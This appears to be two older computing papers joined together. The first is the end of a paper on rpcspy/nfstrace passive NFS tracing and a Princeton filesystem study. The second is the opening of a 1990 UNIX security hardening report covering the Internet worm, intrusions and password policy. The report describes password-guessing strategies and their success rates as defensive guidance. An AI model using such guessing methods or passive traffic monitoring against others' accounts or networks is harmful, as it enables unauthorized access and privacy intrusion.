server and the file handle, client is the client and user that performed the
open, transferred is the number of bytes of the file actually read or
written (cache hits have a 0 in this field), and size is the size of the
file (in bytes).

An example record might be as follows:

690691919.593442 | 17734 | read | basso:7b1f00000000400f | frejus.321 | 0 |
24576

Here, userid 321 at client frejus read file 7b1f00000000400f on server
basso. The file is 24576 bytes long and was able to be read from the client
cache. The command started at Unix time 690691919.593442 and took 17734
microseconds at the server to execute.

Since it is sometimes useful to know the name corresponding to the handle
and the mode information for each file, nfstrace optionally produces a map
of file handles to file names and modes. When enough information (from
lookup and readdir commands) is received, new names are added. Names can
change over time (as files are deleted and renamed), so the times each
mapping can be considered valid is recorded as well. The mapping infor
mation may not always be complete, however, depending on how much activity
has already been observed. Also, hard links can confuse the name mapping,
and it is not always possible to determine which of several possible names a
file was opened under.

What nfstrace produces is only an approximation of the underlying user
activity. Since there are no NFS open or close commands, the program must
guess when these system calls occur. It does this by taking advantage of the
observation that NFS is fairly consistent in what it does when a file is
opened. If the file is in the local buffer cache, a getattr call is made on
the file to verify that it has not changed since the file was cached.
Otherwise, the actual bytes of the file are fetched as they are read by the
user. (It is possible that part of the file is in the cache and part is not,
in which case the getattr is performed and only the missing pieces are
fetched. This occurs most often when a demand-paged executable is loaded).
nfstrace assumes that any sequence of NFS read calls on the same file issued
by the same user at the same client is part of a single open for read. The
close is assumed to have taken place when the last read in the sequence
completes. The end of a read sequence is detected when the same client reads
the beginning of the file again or when a timeout with no reading has
elapsed. Writes are handled in a similar manner.

Reads that are entirely from the client cache are a bit harder; not every
getattr command is caused by a cache read, and a few cache reads take place
without a getattr. A user level stat system call can sometimes trigger a
getattr, as can an ls -l command. Fortunately, the attribute caching used by
most implementations of NFS seems to eliminate many of these extraneous
getattrs, and ls commands appear to trigger a lookup command most of the
time. nfstrace assumes that a getattr on any file that the client has read
within the past few hours represents a cache read, otherwise it is ignored.
This simple heuristic seems to be fairly accurate in practice. Note also
that a getattr might not be performed if a read occurs very soon after the
last read, but the time threshold is generally short enough that this is
rarely a problem. Still, the cached reads that nfstrace reports are, at
best, an estimate (generally erring on the side of over-reporting). There is
no way to determine the number of bytes actually read for cache hits.

The output of nfstrace is necessarily produced out of chronological order,
but may be sorted easily by a post-processor.

nfstrace has a host of options to control the level of detail of the trace,
the lengths of the timeouts, and so on. To facilitate the production of very
long traces, the output can be flushed and checkpointed at a specified inter
val, and can be automatically compressed.

4. Using rpcspy and nfstrace for Filesystem Tracing

Clearly, nfstrace is not suitable for producing highly accurate traces;
cache hits are only estimated, the timing information is imprecise, and data
from lost (and duplicated) network packets are not accounted for. When such
a highly accurate trace is required, other approaches, such as modification
of the client and server kernels, must be employed.

The main virtue of the passive-monitoring approach lies in its simplicity.
In [5], Baker, et al, describe a trace of a distributed filesystem which
involved low-level modification of several different operating system
kernels. In contrast, our entire filesystem trace package consists of less
than 5000 lines of code written by a single programmer in a few weeks,
involves no kernel modifications, and can be installed to monitor multiple
heterogeneous servers and clients with no knowledge of even what operating
systems they are running.

The most important parameter affecting the accuracy of the traces is the
ability of the machine on which rpcspy is running to keep up with the
network traffic. Although most modern RISC workstations with reasonable
Ethernet interfaces are able to keep up with typical network loads, it is
important to determine how much informa tion was lost due to packet buffer
overruns before relying upon the trace data. It is also important that the
trace be, indeed, non-intrusive. It quickly became obvious, for example,
that logging the traffic to an NFS filesystem can be problematic.

Another parameter affecting the usefulness of the traces is the validity of
the heuristics used to translate from RPC calls into user-level system
calls. To test this, a shell script was written that performed ls -l, touch,
cp and wc commands randomly in a small directory hierarchy, keeping a record
of which files were touched and read and at what time. After several hours,
nfstrace was able to detect 100% of the writes, 100% of the uncached reads,
and 99.4% of the cached reads. Cached reads were over-reported by 11%, even
though ls com mands (which cause the “phantom” reads) made up 50% of the
test activity. While this test provides encouraging evidence of the accuracy
of the traces, it is not by itself conclusive, since the particular workload
being monitored may fool nfstrace in unanticipated ways.

As in any research where data are collected about the behavior of human
subjects, the privacy of the individu als observed is a concern. Although
the contents of files are not logged by the toolkit, it is still possible to
learn something about individual users from examining what files they read
and write. At a minimum, the users of a mon itored system should be informed
of the nature of the trace and the uses to which it will be put. In some
cases, it may be necessary to disable the name translation from nfstrace
when the data are being provided to others. Commercial sites where filenames
might reveal something about proprietary projects can be particularly
sensitive to such concerns.

5. A Trace of Filesystem Activity in the Princeton C.S. Department

A previous paper[14] analyzed a five-day long trace of filesystem activity
conducted on 112 research worksta tions at DEC-SRC. The paper identified a
number of file access properties that affect filesystem caching perfor
mance; it is difficult, however, to know whether these properties were
unique artifacts of that particular environment or are more generally
applicable. To help answer that question, it is necessary to look at similar
traces from other computing environments.

It was relatively easy to use rpcspy and nfstrace to conduct a week long
trace of filesystem activity in the Princeton University Computer Science
Department. The departmental computing facility serves a community of
approximately 250 users, of which about 65% are researchers (faculty,
graduate students, undergraduate researchers, postdoctoral staff, etc), 5%
office staff, 2% systems staff, and the rest guests and other “external”
users. About 115 of the users work full-time in the building and use the
system heavily for electronic mail, netnews, and other such communication
services as well as other computer science research oriented tasks (editing,
compiling, and executing programs, formatting documents, etc).

The computing facility consists of a central Auspex file server (fs) (to
which users do not ordinarily log in directly), four DEC 5000/200s (elan,
hart, atomic and dynamic) used as shared cycle servers, and an assortment of
dedicated workstations (NeXT machines, Sun workstations, IBM-RTs, Iris
workstations, etc.) in indi vidual offices and laboratories. Most users log
in to one of the four cycle servers via X window terminals located in
offices; the terminals are divided evenly among the four servers. There are
a number of Ethernets throughout the building. The central file server is
connected to a “machine room network” to which no user terminals are
directly connected; traffic to the file server from outside the machine room
is gatewayed via a Cisco router. Each of the four cycle servers has a local
/, /bin and /tmp filesystem; other filesystems, including /usr, /usr/local,
and users’ home directories are NFS mounted from fs. Mail sent from local
machines is delivered locally to the (shared) fs:/usr/spool/mail; mail from
outside is delivered directly on fs.

The trace was conducted by connecting a dedicated DEC 5000/200 with a local
disk to the machine room net work. This network carries NFS traffic for all
home directory access and access to all non-local cycle-server files
(including the most of the actively-used programs). On a typical weekday,
about 8 million packets are transmitted over this network. nfstrace was
configured to record opens for read and write (but not directory accesses or
individual reads or writes). After one week (wednesday to wednesday),
342,530 opens for read and 125,542 opens for write were recorded, occupying
8 MB of (compressed) disk space. Most of this traffic was from the four
cycle servers.

No attempt was made to “normalize” the workload during the trace period.
Although users were notified that file accesses were being recorded, and
provided an opportunity to ask to be excluded from the data collection, most
users seemed to simply continue with their normal work. Similarly, no
correction is made for any anomalous user activity that may have occurred
during the trace.

5.1. The Workload Over Time

Intuitively, the volume of traffic can be expected to vary with the time of
day. Figure 1 shows the number of reads and writes per hour over the seven
days of the trace; in particular, the volume of write traffic seems to
mirror the general level of departmental activity fairly closely.

An important metric of NFS performance is the client buffer cache hit rate.
Each of the four cycle servers allocates approximately 6MB of memory for the
buffer cache. The (estimated) aggregate hit rate (percentage of reads served
by client caches) as seen at the file server was surprisingly low: 22.2%
over the entire week. In any given hour, the hit rate never exceeded 40%.
Figure 2 plots (actual) server reads and (estimated) cache hits per hour
over the trace week; observe that the hit rate is at its worst during
periods of the heaviest read activity.

Past studies have predicted much higher hit rates than the aggregate
observed here. It is probable that since most of the traffic is generated by
the shared cycle servers, the low hit rate can be attributed to the large
number of users competing for cache space. In fact, the hit rate was
observed to be much higher on the single-user worksta tions monitored in the
study, averaging above 52% overall. This suggests, somewhat
counter-intuitively, that if more computers were added to the network (such
that each user had a private workstation), the server load would decrease
considerably. Figure 3 shows the actual cache misses and estimated cache
hits for a typical private works tation in the study.

Thu 00:00 Thu 06:00 Thu 12:00 Thu 18:00 Fri 00:00 Fri 06:00 Fri 12:00
Fri 18:00 Sat 00:00 Sat 06:00 Sat 12:00 Sat 18:00 Sun 00:00 Sun 06:00 Sun
12:00 Sun 18:00 Mon 00:00 Mon 06:00 Mon 12:00 Mon 18:00 Tue 00:00 Tue 06:00
Tue 12:00 Tue 18:00 Wed 00:00 Wed 06:00 Wed 12:00 Wed 18:00

1000

2000

3000

4000

5000

6000

Reads/Writes per hour

Writes

Reads (all)

Figure 1 – Read and Write Traffic Over Time

5.2. File Sharing

One property observed in the DEC-SRC trace is the tendency of files that are
used by multiple workstations to make up a significant proportion of read
traffic but a very small proportion of write traffic. This has important
implications for a caching strategy, since, when it is true, files that are
cached at many places very rarely need to be invalidated. Although the
Princeton computing facility does not have a single workstation per user, a
similar metric is the degree to which files read by more than one user are
read and written. In this respect, the Princeton trace is very similar to
the DEC-SRC trace. Files read by more than one user make up more than 60% of
read traffic, but less than 2% of write traffic. Files shared by more than
ten users make up less than .2% of write traffic but still more than 30% of
read traffic. Figure 3 plots the number of users who have previously read
each file against the number of reads and writes.

5.3. File “Entropy”

Files in the DEC-SRC trace demonstrated a strong tendency to “become”
read-only as they were read more and more often. That is, the probability
that the next operation on a given file will overwrite the file drops off
shar ply in proportion to the number of times it has been read in the past.
Like the sharing property, this has implications for a caching strategy,
since the probability that cached data is valid influences the choice of a
validation scheme. Again, we find this property to be very strong in the
Princeton trace. For any file access in the trace, the probability that it
is a write is about 27%. If the file has already been read at least once
since it was last written to, the write probability drops to 10%. Once the
file has been read at least five times, the write probability drops below
1%. Fig ure 4 plots the observed write probability against the number of
reads since the last write.

Thu 00:00 Thu 06:00 Thu 12:00 Thu 18:00 Fri 00:00 Fri 06:00 Fri 12:00
Fri 18:00 Sat 00:00 Sat 06:00 Sat 12:00 Sat 18:00 Sun 00:00 Sun 06:00 Sun
12:00 Sun 18:00 Mon 00:00 Mon 06:00 Mon 12:00 Mon 18:00 Tue 00:00 Tue 06:00
Tue 12:00 Tue 18:00 Wed 00:00 Wed 06:00 Wed 12:00 Wed 18:00

1000

2000

3000

4000

5000

Total reads per hour

Cache Hits (estimated)

Cache Misses (actual)

Figure 2 – Cache Hits and Misses Over Time

6. Conclusions

Although filesystem traces are a useful tool for the analysis of current and
proposed systems, the difficulty of collecting meaningful trace data makes
such traces difficult to obtain. The performance degradation introduced by
the trace software and the volume of raw data generated makes traces over
long time periods and outside of comput ing research facilities particularly
hard to conduct.

Although not as accurate as direct, kernel-based tracing, a passive network
monitor such as the one described in this paper can permit tracing of
distributed systems relatively easily. The ability to limit the data
collected to a high-level log of only the data required can make it
practical to conduct traces over several months. Such a long term trace is
presently being conducted at Princeton as part of the author’s research on
filesystem caching. The non-intrusive nature of the data collection makes
traces possible at facilities where kernel modification is impracti cal or
unacceptable.

It is the author’s hope that other sites (particularly those not doing
computing research) will make use of this toolkit and will make the traces
available to filesystem researchers.

7. Availability

The toolkit, consisting of rpcspy, nfstrace, and several support scripts,
currently runs under several BSD-derived platforms, including ULTRIX 4.x,
SunOS 4.x, and IBM-RT/AOS. It is available for anonymous ftp over the
Internet from samadams.princeton.edu, in the compressed tar file
nfstrace/nfstrace.tar.Z.

Thu 00:00 Thu 06:00 Thu 12:00 Thu 18:00 Fri 00:00 Fri 06:00 Fri 12:00
Fri 18:00 Sat 00:00 Sat 06:00 Sat 12:00 Sat 18:00 Sun 00:00 Sun 06:00 Sun
12:00 Sun 18:00 Mon 00:00 Mon 06:00 Mon 12:00 Mon 18:00 Tue 00:00 Tue 06:00
Tue 12:00 Tue 18:00 Wed 00:00 Wed 06:00 Wed 12:00 Wed 18:00 0

100

200

300

Reads per hour

Cache Hits (estimated)

Cache Misses (actual)

Figure 3 – Cache Hits and Misses Over Time – Private Workstation

0 5 10 15 20

n (readers)

0

20

40

60

80

100

% of Reads and Writes used by > n users

Reads

Writes

Figure 4 – Degree of Sharing for Reads and Writes

0 5 10 15 20

Reads Since Last Write

0.0

0.1

0.2

P(next operation is write)

Figure 5 – Probability of Write Given >= n Previous Reads

8. Acknowledgments

The author would like to gratefully acknowledge Jim Roberts and Steve Beck
for their help in getting the trace machine up and running, Rafael Alonso
for his helpful comments and direction, and the members of the pro gram
committee for their valuable suggestions. Jim Plank deserves special thanks
for writing jgraph, the software which produced the figures in this paper.

9. References

[1] Sandberg, R., Goldberg, D., Kleiman, S., Walsh, D., & Lyon, B. “Design
and Implementation of the Sun Net work File System.” Proc. USENIX, Summer,
1985.

[2] Mogul, J., Rashid, R., & Accetta, M. “The Packet Filter: An Efficient
Mechanism for User-Level Network Code.” Proc. 11th ACM Symp. on Operating
Systems Principles, 1987.

[3] Ousterhout J., et al. “A Trace-Driven Analysis of the Unix 4.2 BSD File
System.” Proc. 10th ACM Symp. on Operating Systems Principles, 1985.

[4] Floyd, R. “Short-Term File Reference Patterns in a UNIX Environment,”
TR-177 Dept. Comp. Sci, U. of Rochester, 1986.

[5] Baker, M. et al. “Measurements of a Distributed File System,” Proc. 13th
ACM Symp. on Operating Systems Principles, 1991.

[6] Metcalfe, R. & Boggs, D. “Ethernet: Distributed Packet Switching for
Local Computer Networks,” CACM July, 1976.

[7] “Etherfind(8) Manual Page,” SunOS Reference Manual, Sun Microsystems,
1988.

[8] Gusella, R. “Analysis of Diskless Workstation Traffic on an Ethernet,”
TR-UCB/CSD-87/379, University Of California, Berkeley, 1987.

[9] “NIT(4) Manual Page,” SunOS Reference Manual, Sun Microsystems, 1988.

[10] “XDR Protocol Specification,” Networking on the Sun Workstation, Sun
Microsystems, 1986.

[11] “RPC Protocol Specification,” Networking on the Sun Workstation, Sun
Microsystems, 1986.

[12] “NFS Protocol Specification,” Networking on the Sun Workstation, Sun
Microsystems, 1986.

[13] Postel, J. “User Datagram Protocol,” RFC 768, Network Information
Center, 1980.

[14] Blaze, M., and Alonso, R., “Long-Term Caching Strategies for Very Large
Distributed File Systems,” Proc. Summer 1991 USENIX, 1991.

Matt Blaze is a Ph.D. candidate in Computer Science at Princeton University,
where he expects to receive his degree in the Spring of 1992. His research
interests include distributed systems, operating systems, databases, and
programming environments. His current research focuses on caching in very
large distributed filesystems. In 1988 he received an M.S. in Computer
Science from Columbia University and in 1986 a B.S. from Hunter College. He
can be reached via email at mab@cs.princeton.edu or via US mail at Dept. of
Computer Science, Princeton University, 35 Olden Street, Princeton NJ
08544.



Improving the Security of your UNIX System, by David A. Curry (April, 1990)

IMPROVING THE SECURITY OF YOUR     

UNIX SYSTEM

David A. Curry, Systems Programmer
Information and Telecommunications Sciences and Technology Division

ITSTD-721-FR-90-21

Approved:

Paul K. Hyder, Manager
Computer Facility

Boyd C. Fair, General Manager
Division Operations Section

Michael S. Frankel, Vice President
Information and Telecommunications Sciences and Technology Division

 Final Report \(bu April 1990

SRI International  333 Ravenswood Avenue \(bu Menlo Park, CA 94025-3493 \(bu (415) 326-6200 \(bu FAX: (415) 326-5512 \(bu Telex: 334486

 SECTION 1
 INTRODUCTION

1.1   UNIX SECURITY

 The UNIX operating system, although now in widespread use in environments con-
 cerned about security, was not really designed with security in mind [Ritc75]. This does
 not mean that UNIX does not provide any security mechanisms; indeed, several very good
 ones are available. However, most ``out of the box'' installation procedures from com-
 panies such as Sun Microsystems still install the operating system in much the same way
 as it was installed 15 years ago: with little or no security enabled.

 The reasons for this state of affairs are largely historical. UNIX was originally
 designed by programmers for use by other programmers. The environment in which it
 was used was one of open cooperation, not one of privacy. Programmers typically colla-
 borated with each other on projects, and hence preferred to be able to share their files with
 each other without having to climb over security hurdles. Because the first sites outside of
 Bell Laboratories to install UNIX were university research laboratories, where a similar
 environment existed, no real need for greater security was seen until some time later.

 In the early 1980s, many universities began to move their UNIX systems out of the
 research laboratories and into the computer centers, allowing (or forcing) the user popula-
 tion as a whole to use this new and wonderful system. Many businesses and government
 sites began to install UNIX systems as well, particularly as desktop workstations became
 more powerful and affordable. Thus, the UNIX operating system is no longer being used
 only in environments where open collaboration is the goal. Universities require their stu-
 dents to use the system for class assignments, yet they do not want the students to be able
 to copy from each other. Businesses use their UNIX systems for confidential tasks such as
 bookkeeping and payroll. And the government uses UNIX systems for various unclassified
 yet sensitive purposes.

 To complicate matters, new features have been added to UNIX over the years, mak-
 ing security even more difficult to control. Perhaps the most problematic features are
 those relating to networking: remote login, remote command execution, network file sys-
 tems, diskless workstations, and electronic mail. All of these features have increased the
 utility and usability of UNIX by untold amounts. However, these same features, along
 with the widespread connection of UNIX systems to the Internet and other networks, have
 opened up many new areas of vulnerability to unauthorized abuse of the system.

\(ru \(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru
UNIX is a registered trademark of AT&T. VAX is a trademark of Digital Equipment Corporation. Sun-3 and
NFS are trademarks of Sun Microsystems. Annex is a trademark of Xylogics, Inc.

 1

1.2   THE INTERNET WORM

 On the evening of November 2, 1988, a self-replicating program, called a worm, was
 released on the Internet [Seel88, Spaf88, Eich89]. Overnight, this program had copied
 itself from machine to machine, causing the machines it infected to labor under huge
 loads, and denying service to the users of those machines. Although the program only
 infected two types of computers,* it spread quickly, as did the concern, confusion, and
 sometimes panic of system administrators whose machines were affected. While many
 system administrators were aware that something like this could theoretically happen - the
 security holes exploited by the worm were well known - the scope of the worm's break-
 ins came as a great surprise to most people.

 The worm itself did not destroy any files, steal any information (other than account
 passwords), intercept private mail, or plant other destructive software [Seel88]. However,
 it did manage to severely disrupt the operation of the network. Several sites, including
 parts of MIT, NASA's Ames Research Center and Goddard Space Flight Center, the Jet
 Propulsion Laboratory, and the U. S. Army Ballistic Research Laboratory, disconnected
 themselves from the Internet to avoid recontamination. In addition, the Defense Commun-
 ications Agency ordered the connections between the MILNET and ARPANET shut down,
 and kept them down for nearly 24 hours [Eich89, Elme88]. Ironically, this was perhaps
 the worst thing to do, since the first fixes to combat the worm were distributed via the net-
 work [Eich89].

 This incident was perhaps the most widely described computer security problem ever.
 The worm was covered in many newspapers and magazines around the country including
 the New York Times, Wall Street Journal, Time and most computer-oriented technical
 publications, as well as on all three major television networks, the Cable News Network,
 and National Public Radio. In January 1990, a United States District Court jury found
 Robert Tappan Morris, the author of the worm, guilty of charges brought against him
 under a 1986 federal computer fraud and abuse law. Morris faces up to five years in
 prison and a $250,000 fine [Schu90]. Sentencing is scheduled for May 4, 1990.

1.3   SPIES AND ESPIONAGE

 In August 1986, the Lawrence Berkeley Laboratory, an unclassified research labora-
 tory at the University of California at Berkeley, was attacked by an unauthorized computer
 intruder [Stol88, Stol89]. Instead of immediately closing the holes the intruder was using,
 the system administrator, Clifford Stoll, elected to watch the intruder and document the
 weaknesses he exploited. Over the next 10 months, Stoll watched the intruder attack over
 400 computers around the world, and successfully enter about 30. The computers broken
 into were located at universities, military bases, and defense contractors [Stol88].
\(ru \(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru

 * Sun-3 systems from Sun Microsystems and VAX systems from Digital Equipment Corp., both running vari-
ants of 4.x BSD UNIX from the University of California at Berkeley.

 2

 Unlike many intruders seen on the Internet, who typically enter systems and browse
 around to see what they can, this intruder was looking for something specific. Files and
 data dealing with the Strategic Defense Initiative, the space shuttle, and other military
 topics all seemed to be of special interest. Although it is unlikely that the intruder would
 have found any truly classified information (the Internet is an unclassified network), it was
 highly probable that he could find a wealth of sensitive material [Stol88].

 After a year of tracking the intruder (eventually involving the FBI, CIA, National
 Security Agency, Air Force Intelligence, and authorities in West Germany), five men in
 Hannover, West Germany were arrested. In March 1989, the five were charged with
 espionage: they had been selling the material they found during their exploits to the KGB.
 One of the men, Karl Koch (``Hagbard''), was later found burned to death in an isolated
 forest outside Hannover. No suicide note was found [Stol89]. In February 1990, three of
 the intruders (Markus Hess, Dirk Bresinsky, and Peter Carl) were convicted of espionage
 in a German court and sentenced to prison terms, fines, and the loss of their rights to par-
 ticipate in elections [Risk90]. The last of the intruders, Hans Hu  . .  bner (``Pengo''), still
 faces trial in Berlin.

1.4   OTHER BREAK-INS

 Numerous other computer security problems have occurred in recent years, with vary-
 ing levels of publicity. Some of the more widely known incidents include break-ins on
 NASA's SPAN network [McLe87], the IBM ``Christmas Virus'' [Risk87], a virus at Mitre
 Corp. that caused the MILNET to be temporarily isolated from other networks [Risk88], a
 worm that penetrated DECNET networks [Risk89a], break-ins on U. S. banking networks
 [Risk89b], and a multitude of viruses, worms, and trojan horses affecting personal com-
 puter users.

1.5   SECURITY IS IMPORTANT

 As the previous stories demonstrate, computer security is an important topic. This
 document describes the security features provided by the UNIX operating system, and how
 they should be used. The discussion centers around version 4.x of SunOS, the version of
 UNIX sold by Sun Microsystems. Most of the information presented applies equally well
 to other UNIX systems. Although there is no way to make a computer completely secure
 against unauthorized use (other than to lock it in a room and turn it off), by following the
 instructions in this document you can make your system impregnable to the ``casual'' sys-
 tem cracker,* and make it more difficult for the sophisticated cracker to penetrate.
\(ru \(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru\(ru

 * The term ``hacker,'' as applied to computer users, originally had an honorable connotation: ``a person who
enjoys learning the details of programming systems and how to stretch their capabilities - as opposed to most
users of computers, who prefer to learn only the minimum amount necessary'' [Stee88]. Unfortunately, the
media has distorted this definition and given it a dishonorable meaning. In deference to the true hackers, we
will use the term ``cracker'' throughout this document.

 3

 4

 SECTION 2
 IMPROVING SECURITY

 UNIX system security can be divided into three main areas of concern. Two of these
 areas, account security and network security, are primarily concerned with keeping unau-
 thorized users from gaining access to the system. The third area, file system security, is
 concerned with preventing unauthorized access, either by legitimate users or crackers, to
 the data stored in the system. This section describes the UNIX security tools provided to
 make each of these areas as secure as possible.

2.1   ACCOUNT SECURITY

 One of the easiest ways for a cracker to get into a system is by breaking into
 someone's account. This is usually easy to do, since many systems have old accounts
 whose users have left the organization, accounts with easy-to-guess passwords, and so on.
 This section describes methods that can be used to avoid these problems.

2.1.1   Passwords

 The password is the most vital part of UNIX account security. If a cracker can dis-
 cover a user's password, he can then log in to the system and operate with all the capabil-
 ities of that user. If the password obtained is that of the super-user, the problem is more
 serious: the cracker will have read and write access to every file on the system. For this
 reason, choosing secure passwords is extremely important.

 The UNIX passwd program [Sun88a, 379] places very few restrictions on what may
 be used as a password. Generally, it requires that passwords contain five or more lower-
 case letters, or four characters if a nonalphabetic or uppercase letter is included. However,
 if the user ``insists'' that a shorter password be used (by entering it three times), the pro-
 gram will allow it. No checks for obviously insecure passwords (see below) are per-
 formed. Thus, it is incumbent upon the system administrator to ensure that the passwords
 in use on the system are secure.

 In [Morr78], the authors describe experiments conducted to determine typical users'
 habits in the choice of passwords. In a collection of 3,289 passwords, 16% of them con-
 tained three characters or less, and an astonishing 86% were what could generally be
 described as insecure. Additional experiments in [Gram84] show that by trying three sim-
 ple guesses on each account - the login name, the login name in reverse, and the two con-
 catenated together - a cracker can expect to obtain access to between 8 and 30 percent of
 the accounts on a typical system. A second experiment showed that by trying the 20 most
 common female first names, followed by a single digit (a total of 200 passwords), at least
 one password was valid on each of several dozen machines surveyed. Further experimen-
 tation by the author has found that by trying variations on the login name, user's first and

 5

 last names, and a list of nearly 1800 common first names, up to 50 percent of the pass-
 words on any given system can be cracked in a matter of two or three days.

2.1.1.1   Selecting Passwords

 The object when choosing a password is to make it as difficult as possible for a
 cracker to make educated guesses about what you've chosen. This leaves him no alterna-
 tive but a brute-force search, trying every possible combination of letters, numbers, and
 punctuation. A search of this sort, even conducted on a machine that could try one mil-
 lion passwords per second (most machines can try less than one hundred per second),
 would require, on the average, over one hundred years to complete. With this as our goal,
 and by using the information in the preceding text, a set of guidelines for password selec-
 tion can be constructed:

 \(bu Don't use your login name in any form (as-is, reversed, capitalized, doubled,
 etc.).

 \(bu Don't use your first or last name in any form.

 \(bu Don't use your spouse's or child's name.

 \(bu Don't use other information easily obtained about you. This includes license
 plate numbers, telephone numbers, social security numbers, the brand of your
 automobile, the name of the street you live on, etc.

 \(bu Don't use a password of all digits, or all the same letter. This significantly
 decreases the search time for a cracker.

 \(bu Don't use a word contained in (English or foreign language) dictionaries, spel-
 ling lists, or other lists of words.

 \(bu Don't use a password shorter than six characters.

 \(bu Do use a password with mixed-case alphabetics.

 \(bu Do use a password with nonalphabetic characters, e.g., digits or punctuation.

 \(bu Do use a password that is easy to remember, so you don't have to write it
 down.

 \(bu Do use a password that you can type quickly, without having to look at the key-
 board. This makes it harder for someone to steal your password by watching
 over your shoulder.

 Although this list may seem to restrict passwords to an extreme, there are several
 methods for choosing secure, easy-to-remember passwords that obey the above rules.
 Some of these include the following:

 \(bu Choose a line or two from a song or poem, and use the first letter of each word.
 For example, ``In Xanadu did Kubla Kahn a stately pleasure dome decree''
 becomes ``IXdKKaspdd.''

 \(bu Alternate between one consonant and one or two vowels, up to eight characters.
 This provides nonsense words that are usually pronounceable, and thus easily

 6

 remembered. Examples include ``routboo,'' ``quadpop,'' and so on.

 \(bu Choose two short words and concatenate them together with a punctation char-
 acter between them. For example: ``dog;rain,'' ``book+mug,'' ``kid?goat.''

 The importance of obeying these password selection rules cannot be overemphasized.
 The Internet worm, as part of its strategy for breaking into new machines, attempted to
 crack user passwords. First, the worm tried simple choices such as the login name, user's
 first and last names, and so on. Next, the worm tried each word present in an internal dic-
 tionary of 432 words (presumably Morris considered these words to be ``good'' words to
 try). If all else failed, the worm tried going through the system dictionary,
 /usr/dict/words, trying each word [Spaf88]. The password selection rules above success-
 fully guard against all three of these strategies.

2.1.1.2   Password Policies

 Although asking users to select secure passwords will help improve security, by itself
 it is not enough. It is also important to form a set of password policies that all users must
 obey, in order to keep the passwords secure.

 First and foremost, it is important to impress on users the need to keep their pass-
 words in their minds only. Passwords should never be written down on desk blotters,
 calendars, and the like. Further, storing passwords in files on the computer must be prohi-
 bited. In either case, by writing the password down on a piece of paper or storing it in a
 file, the security of the user's account is totally dependent on the security of the paper or
 file, which is usually less than the security offered by the password encryption software.

 A second important policy is that users must never give out their passwords to others.
 Many times, a user feels that it is easier to give someone else his password in order to
 copy a file, rather than to set up the permissions on the file so that it can be copied.
 Unfortunately, by giving out the password to another person, the user is placing his trust
 in this other person not to distribute the password further, write it down, and so on.

 Finally, it is important to establish a policy that users must change their passwords
 from time to time, say twice a year. This is difficult to enforce on UNIX, since in most
 implementations, a password-expiration scheme is not available. However, there are ways
 to implement this policy, either by using third-party software or by sending a memo to the
 users requesting that they change their passwords.

 This set of policies should be printed and distributed to all current users of the sys-
 tem. It should also be given to all new users when they receive their accounts. The pol-
 icy usually carries more weight if you can get it signed by the most ``impressive'' person
 in your organization (e.g., the president of the company).

 7

2.1.1.3   Checking Password Security

 The procedures and policies described in the previous sections, when properly imple-
 mented, will greatly reduce the chances of a cracker breaking into your system via a
 stolen account. However, as with all security measures, you as the system administrator
 must periodically check to be sure that the policies and procedures are being adhered to.
 One of the unfortunate truisms of password security is that, ``left to their own ways, some
 people will still use cute doggie names as passwords'' [Gram84].

 The best way to check the security of the passwords on your system is to use a
 password-cracking program much like a real cracker would use. If you succeed in crack-
 ing any passwords, those passwords should be changed immediately. There are a few
 freely available password cracking programs distributed via various source archive sites;
 these are described in more detail in Section 4. A fairly extensive cracking program is
 also available from the author. Alternatively, you can write your own cracking program,
 and tailor it to your own site. For a list of things to check for, see the list of guidelines
 above.

2.1.2   Expiration Dates

 Many sites, particularly those with a large number of users, typically have several old
 accounts lying around whose owners have since left the organization. These accounts are
 a major security hole: not only can they be broken into if the password is insecure, but
 because nobody is using the account anymore, it is unlikely that a break-in will be
 noticed.

 The simplest way to prevent unused accounts from accumulating is to place an
 expiration date on every account. These expiration dates should be near enough in the
 future that old accounts will be deleted in a timely manner, yet far enough apart that the
 users will not become annoyed. A good figure is usually one year from the date the
 account was installed. This tends to spread the expirations out over the year, rather than
 clustering them all at the beginning or end. The expiration date can easily be stored in the
 password file (in the full name field). A simple shell script can be used to periodically
 check that all accounts have expiration dates, and that none of the dates has passed.

 On the first day of each month, any user whose account has expired should be con-
 tacted to be sure he is still employed by the organization, and that he is actively using the
 account. Any user who cannot be contacted, or who has not used his account recently,
 should be deleted from the system. If a user is unavailable for some reason (e.g., on vaca-
 tion) and cannot be contacted, his account should be disabled by replacing the encrypted
 password in the password file entry with an asterisk (*). This makes it impossible to log
 in to the account, yet leaves the account available to be re-enabled on the user's return.

 8

2.1.3   Guest Accounts

 Guest accounts present still another security hole. By their nature, these accounts are
 rarely used, and are always used by people who should only have access to the machine
 for the short period of time they are guests. The most secure way to handle guest
 accounts is to install them on an as-needed basis, and delete them as soon as the people
 using them leave. Guest accounts should never be given simple passwords such as
 ``guest'' or ``visitor,'' and should never be allowed to remain in the password file when
 they are not being used.

2.1.4   Accounts Without Passwords

 Some sites have installed accounts with names such as ``who,'' ``date,'' ``lpq,'' and
 so on that execute simple commands. These accounts are intended to allow users to exe-
 cute these commands without having to log in to the machine. Typically these accounts
 have no password associated with them, and can thus be used by anyone. Many of the
 accounts are given a user id of zero, so that they execute with super-user permissions.

 The problem with these accounts is that they open potential security holes. By not
 having passwords on them, and by having super-user permissions, these accounts practi-
 cally invite crackers to try to penetrate them. Usually, if the cracker can gain access to
 the system, penetrating these accounts is simple, because each account executes a different
 command. If the cracker can replace any one of these commands with one of his own, he
 can then use the unprotected account to execute his program with super-user permissions.

 Simply put, accounts without passwords should not be allowed on any UNIX system.

2.1.5   Group Accounts and Groups

 Group accounts have become popular at many sites, but are actually a break-in wait-
 ing to happen. A group account is a single account shared by several people, e.g., by all
 the collaborators on a project. As mentioned in the section on password security, users
 should not share passwords - the group account concept directly violates this policy. The
 proper way to allow users to share information, rather than giving them a group account to
 use, is to place these users into a group. This is done by editing the group file, /etc/group
 [Sun88a, 1390; Sun88b, 66], and creating a new group with the users who wish to colla-
 borate listed as members.

 A line in the group file looks like

 groupname:password:groupid:user1,user2,user3,...

 The groupname is the name assigned to the group, much like a login name. It may be the
 same as someone's login name, or different. The maximum length of a group name is
 eight characters. The password field is unused in BSD-derived versions of UNIX, and
 should contain an asterisk (*). The groupid is a number from 0 to 65535 inclusive.

 9

 Generally, numbers below 10 are reserved for special purposes, but you may choose any
 unused number. The last field is a comma-separated (no spaces) list of the login names of
